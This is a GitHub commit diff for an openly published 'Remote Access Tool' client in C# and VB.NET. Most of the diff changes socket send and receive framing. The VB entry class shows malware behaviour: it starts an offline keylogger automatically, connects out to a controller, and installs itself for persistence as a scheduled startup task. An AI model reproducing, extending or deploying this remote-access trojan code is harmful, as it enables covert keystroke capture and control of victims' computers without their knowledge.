Skip to content

Commit 0666ffd

Browse files
committed
Small update
* Reduced Thread.Sleep time * Added autofill recovery * Corrected key not found in dictionary
1 parent 7e89ec8 commit 0666ffd

File tree

295 files changed

+3768
-242
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

295 files changed

+3768
-242
lines changed

Remote Access Tool/Client/Networking/ClientHandler.cs

+20-6
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
using System;
55
using System.Net.Sockets;
66
using System.Threading;
7+
using System.Windows.Forms;
78

89
/*
910
|| AUTHOR Arsium ||
@@ -113,10 +114,13 @@ private byte[] ReceiveData()
113114
{
114115
int total = 0;
115116
int recv;
116-
byte[] datasize = new byte[4];
117+
byte[] header = new byte[5];
117118
socket.Poll(-1, SelectMode.SelectRead);
118-
recv = socket.Receive(datasize, 0, 4, 0);
119-
int size = BitConverter.ToInt32(datasize, 0);
119+
recv = socket.Receive(header, 0, 5, 0);
120+
121+
int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
122+
PacketType packetType = (PacketType)header[4];
123+
120124
int dataleft = size;
121125
byte[] data = new byte[size];
122126
while (total < size)
@@ -173,10 +177,19 @@ private int SendData(IPacket data)
173177
int total = 0;
174178
int size = encryptedData.Length;
175179
int datalft = size;
176-
byte[] datasize = new byte[4];
180+
byte[] header = new byte[5];
177181
socket.Poll(-1, SelectMode.SelectWrite);
178-
datasize = BitConverter.GetBytes(size);
179-
int sent = socket.Send(datasize);
182+
183+
byte[] temp = BitConverter.GetBytes(size);
184+
185+
header[0] = temp[0];
186+
header[1] = temp[1];
187+
header[2] = temp[2];
188+
header[3] = temp[3];
189+
header[4] = (byte)data.packetType;
190+
191+
int sent = socket.Send(header);
192+
180193
while (total < size)
181194
{
182195
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
@@ -192,6 +205,7 @@ private int SendData(IPacket data)
192205
return 0;
193206
}
194207
}
208+
195209
private void SendDataCompleted(IAsyncResult ar)
196210
{
197211
int length = sendDataAsync.EndInvoke(ar);
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientDll/EntryClass.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
using System;
1+
using System;
22
using System.Runtime.InteropServices;
33
using System.Threading;
44

Remote Access Tool/ClientDll/Networking/ClientHandler.cs

+18-6
Original file line numberDiff line numberDiff line change
@@ -113,10 +113,13 @@ private byte[] ReceiveData()
113113
{
114114
int total = 0;
115115
int recv;
116-
byte[] datasize = new byte[4];
116+
byte[] header = new byte[5];
117117
socket.Poll(-1, SelectMode.SelectRead);
118-
recv = socket.Receive(datasize, 0, 4, 0);
119-
int size = BitConverter.ToInt32(datasize, 0);
118+
recv = socket.Receive(header, 0, 5, 0);
119+
120+
int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
121+
PacketType packetType = (PacketType)header[4];
122+
120123
int dataleft = size;
121124
byte[] data = new byte[size];
122125
while (total < size)
@@ -173,10 +176,19 @@ private int SendData(IPacket data)
173176
int total = 0;
174177
int size = encryptedData.Length;
175178
int datalft = size;
176-
byte[] datasize = new byte[4];
179+
byte[] header = new byte[5];
177180
socket.Poll(-1, SelectMode.SelectWrite);
178-
datasize = BitConverter.GetBytes(size);
179-
int sent = socket.Send(datasize);
181+
182+
byte[] temp = BitConverter.GetBytes(size);
183+
184+
header[0] = temp[0];
185+
header[1] = temp[1];
186+
header[2] = temp[2];
187+
header[3] = temp[3];
188+
header[4] = (byte)data.packetType;
189+
190+
int sent = socket.Send(header);
191+
180192
while (total < size)
181193
{
182194
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVB/Networking/ClientHandler.vb

+19-8
Original file line numberDiff line numberDiff line change
@@ -104,18 +104,19 @@ Namespace Client
104104
Try
105105
Dim total As Integer = 0
106106
Dim recv As Integer
107-
Dim datasize(3) As Byte
107+
Dim header(4) As Byte
108108
socket.Poll(-1, SelectMode.SelectRead)
109-
recv = socket.Receive(datasize, 0, 4, 0)
110-
Dim size As Integer = BitConverter.ToInt32(datasize, 0)
109+
recv = socket.Receive(header, 0, 5, 0)
110+
111+
Dim size As Integer = BitConverter.ToInt32(New Byte(3) {header(0), header(1), header(2), header(3)}, 0)
112+
Dim packetType As PacketType = CType(header(4), PacketType)
113+
111114
Dim dataleft As Integer = size
112115
Dim data(size - 1) As Byte
113116
Do While total < size
114-
115117
recv = socket.Receive(data, total, dataleft, 0)
116118
total += recv
117119
dataleft -= recv
118-
119120
Loop
120121

121122
Return data
@@ -157,15 +158,25 @@ Namespace Client
157158
Dim total As Integer = 0
158159
Dim size As Integer = encryptedData.Length
159160
Dim datalft As Integer = size
160-
Dim datasize(3) As Byte
161+
Dim header(4) As Byte
161162
socket.Poll(-1, SelectMode.SelectWrite)
162-
datasize = BitConverter.GetBytes(size)
163-
Dim sent As Integer = socket.Send(datasize)
163+
164+
Dim temp() As Byte = BitConverter.GetBytes(size)
165+
166+
header(0) = temp(0)
167+
header(1) = temp(1)
168+
header(2) = temp(2)
169+
header(3) = temp(3)
170+
header(4) = CByte(Math.Truncate(data.packetType))
171+
172+
Dim sent As Integer = socket.Send(header)
173+
164174
Do While total < size
165175
sent = socket.Send(encryptedData, total, size, SocketFlags.None)
166176
total += sent
167177
datalft -= sent
168178
Loop
179+
169180
Return total
170181
End SyncLock
171182
Catch e1 As Exception
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+49-51
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
1-
Imports System.Diagnostics
2-
Imports System.Runtime.InteropServices
1+
Imports System.Runtime.InteropServices
32
Imports System.Threading
43

54
'
@@ -9,53 +8,52 @@ Imports System.Threading
98
'
109

1110
Namespace Client
12-
Public Class StarterClass
13-
14-
Friend Shared KeylogOn As Boolean
15-
Private Shared AlreadyLaunched As Boolean = False
16-
Private Shared mutex As Mutex
17-
Public Shared Sub OneInstance()
18-
mutex = New Mutex(True, Config.mutex, AlreadyLaunched)
19-
If Not AlreadyLaunched Then
20-
NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
21-
End If
22-
End Sub
23-
24-
25-
Shared Sub New()
26-
KeylogOn = False
27-
clientHandler = New ClientHandler()
28-
StartOfflineKeylogger()
29-
End Sub
30-
31-
Friend Shared Sub StartOfflineKeylogger()
32-
If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
33-
Plugin.Launch.Start()
34-
KeylogOn = True
35-
End If
36-
End Sub
37-
38-
39-
<DllImport("ntdll.dll")>
40-
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
41-
End Function
42-
43-
Friend Shared clientHandler As ClientHandler
44-
45-
<MTAThread>
46-
Public Shared Sub Main()
47-
OneInstance()
48-
clientHandler.ConnectStart()
49-
MakeInstall()
50-
Call (New Thread(New ThreadStart(Sub()
51-
Do
52-
Thread.Sleep(-1)
53-
Loop
54-
End Sub))).Start()
55-
End Sub
56-
57-
Public Shared Sub MakeInstall()
58-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
59-
End Sub
60-
End Class
11+
Public Class EntryClass
12+
Friend Shared KeylogOn As Boolean
13+
14+
Private Shared MT As Mutex
15+
Private Shared OW As Boolean = False
16+
Public Shared Sub OneInstance()
17+
MT = New Mutex(True, Config.mutex, OW)
18+
If Not OW Then
19+
Environment.Exit(0)
20+
End If
21+
End Sub
22+
23+
24+
Shared Sub New()
25+
KeylogOn = False
26+
clientHandler = New ClientHandler()
27+
StartOfflineKeylogger()
28+
End Sub
29+
30+
Friend Shared Sub StartOfflineKeylogger()
31+
If Not EntryClass.KeylogOn And Config.offKeylog <> "False" Then
32+
Plugin.Launch.Start()
33+
KeylogOn = True
34+
End If
35+
End Sub
36+
37+
38+
<DllImport("ntdll.dll")>
39+
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
40+
End Function
41+
42+
Friend Shared clientHandler As ClientHandler
43+
44+
Public Shared Sub Main()
45+
OneInstance()
46+
clientHandler.ConnectStart()
47+
MakeInstall()
48+
Call (New Thread(New ThreadStart(Sub()
49+
Do
50+
Thread.Sleep(-1)
51+
Loop
52+
End Sub))).Start()
53+
End Sub
54+
55+
Public Shared Sub MakeInstall()
56+
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
57+
End Sub
58+
End Class
6159
End Namespace

Remote Access Tool/ClientVBDll/Networking/ClientHandler.vb

+19-8
Original file line numberDiff line numberDiff line change
@@ -104,18 +104,19 @@ Namespace Client
104104
Try
105105
Dim total As Integer = 0
106106
Dim recv As Integer
107-
Dim datasize(3) As Byte
107+
Dim header(4) As Byte
108108
socket.Poll(-1, SelectMode.SelectRead)
109-
recv = socket.Receive(datasize, 0, 4, 0)
110-
Dim size As Integer = BitConverter.ToInt32(datasize, 0)
109+
recv = socket.Receive(header, 0, 5, 0)
110+
111+
Dim size As Integer = BitConverter.ToInt32(New Byte(3) {header(0), header(1), header(2), header(3)}, 0)
112+
Dim packetType As PacketType = CType(header(4), PacketType)
113+
111114
Dim dataleft As Integer = size
112115
Dim data(size - 1) As Byte
113116
Do While total < size
114-
115117
recv = socket.Receive(data, total, dataleft, 0)
116118
total += recv
117119
dataleft -= recv
118-
119120
Loop
120121

121122
Return data
@@ -157,15 +158,25 @@ Namespace Client
157158
Dim total As Integer = 0
158159
Dim size As Integer = encryptedData.Length
159160
Dim datalft As Integer = size
160-
Dim datasize(3) As Byte
161+
Dim header(4) As Byte
161162
socket.Poll(-1, SelectMode.SelectWrite)
162-
datasize = BitConverter.GetBytes(size)
163-
Dim sent As Integer = socket.Send(datasize)
163+
164+
Dim temp() As Byte = BitConverter.GetBytes(size)
165+
166+
header(0) = temp(0)
167+
header(1) = temp(1)
168+
header(2) = temp(2)
169+
header(3) = temp(3)
170+
header(4) = CByte(Math.Truncate(data.packetType))
171+
172+
Dim sent As Integer = socket.Send(header)
173+
164174
Do While total < size
165175
sent = socket.Send(encryptedData, total, size, SocketFlags.None)
166176
total += sent
167177
datalft -= sent
168178
Loop
179+
169180
Return total
170181
End SyncLock
171182
Catch e1 As Exception
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
' <autogenerated/>
2+
Option Strict Off
3+
Option Explicit On
4+
5+
Imports System
6+
Imports System.Reflection
7+
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>
Binary file not shown.

0 commit comments

Comments
 (0)